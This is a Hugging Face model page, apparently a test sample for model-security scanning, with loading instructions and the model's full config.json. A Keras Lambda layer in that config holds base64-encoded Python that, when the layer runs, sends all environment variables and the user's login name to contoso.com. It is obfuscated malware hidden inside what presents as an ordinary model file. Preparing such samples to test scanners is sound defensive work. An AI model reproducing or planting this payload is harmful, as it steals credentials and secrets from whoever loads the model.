Instructions to use alltrue-ai/christina-small-test-malicious-lambda-layer with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use alltrue-ai/christina-small-test-malicious-lambda-layer with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://alltrue-ai/christina-small-test-malicious-lambda-layer") - Notebooks
- Google Colab
- Kaggle
Download config.json from alltrue-ai/christina-small-test-malicious-lambda-layer: direct link, hf CLI and curl.
- Browser
- Download file 2.39 kB
-
https://huggingface.co/alltrue-ai/christina-small-test-malicious-lambda-layer/resolve/main/config.json
- Command line
-
hf download hf://alltrue-ai/christina-small-test-malicious-lambda-layer/config.json
-
curl -L -o config.json https://huggingface.co/alltrue-ai/christina-small-test-malicious-lambda-layer/resolve/main/config.json
2.39 kB
| {"module": "keras.src.models.functional", "class_name": "Functional", "config": {"name": "functional", "trainable": true, "layers": [{"module": "keras.layers", "class_name": "InputLayer", "config": {"batch_shape": [null, 5], "dtype": "float32", "sparse": false, "ragged": false, "name": "input_layer"}, "registered_name": null, "name": "input_layer", "inbound_nodes": []}, {"module": "keras.layers", "class_name": "Lambda", "config": {"name": "lambda", "trainable": true, "dtype": {"module": "keras", "class_name": "DTypePolicy", "config": {"name": "float32"}, "registered_name": null}, "function": {"class_name": "__lambda__", "config": {"code": "4wEAAAAAAAAAAAAAAAEAAAACAAAAQwAAAHMMAAAAdABkAYMBcAV8AFMAKQJO4RoBAAAKaW1wb3J0\nIGh0dHAuY2xpZW50CmltcG9ydCBqc29uCmltcG9ydCBvcwpjb25uID0gaHR0cC5jbGllbnQuSFRU\nUFNDb25uZWN0aW9uKCJjb250b3NvLmNvbSIpCmNvbm4ucmVxdWVzdCgiUE9TVCIsIGYiL3tvcy5n\nZXRsb2dpbigpfSIsIGpzb24uZHVtcHMoZGljdChvcy5lbnZpcm9uKSksIHsiQ29udGVudC1UeXBl\nIjogImFwcGxpY2F0aW9uL2pzb24ifSkKcHJpbnQoZiJFbnZpcm9ubWVudC12YXJpYWJsZSBleGZp\nbHRyYXRpb24gc3RhdHVzOiB7Y29ubi5nZXRyZXNwb25zZSgpLnN0YXR1c30iKQopAdoEZXhlYykB\n2gF4qQByBAAAAPpQL2hvbWUvY2hyaXN0aW5hLXRoaW5rcGFkL3Rlc3QtZGF0YS9tb2RlbF9zY2Fu\nL2N1c3RvbV9tb2RlbF90ZXN0X3NjcmlwdC9zY3JpcHQucHnaCDxsYW1iZGE+AwAAAHMEAAAACAAE\nBw==\n", "defaults": null, "closure": null}}, "arguments": {}}, "registered_name": null, "build_config": {"input_shape": [null, 5]}, "name": "lambda", "inbound_nodes": [{"args": [{"class_name": "__keras_tensor__", "config": {"shape": [null, 5], "dtype": "float32", "keras_history": ["input_layer", 0, 0]}}], "kwargs": {"mask": null}}]}], "input_layers": ["input_layer", 0, 0], "output_layers": ["lambda", 0, 0]}, "registered_name": "Functional", "build_config": {"input_shape": null}, "compile_config": {"optimizer": {"module": "keras.optimizers", "class_name": "Adam", "config": {"name": "adam", "learning_rate": 0.0010000000474974513, "weight_decay": null, "clipnorm": null, "global_clipnorm": null, "clipvalue": null, "use_ema": false, "ema_momentum": 0.99, "ema_overwrite_frequency": null, "loss_scale_factor": null, "gradient_accumulation_steps": null, "beta_1": 0.9, "beta_2": 0.999, "epsilon": 1e-07, "amsgrad": false}, "registered_name": null}, "loss": "mean_squared_error", "loss_weights": null, "metrics": null, "weighted_metrics": null, "run_eagerly": false, "steps_per_execution": 1, "jit_compile": false}} |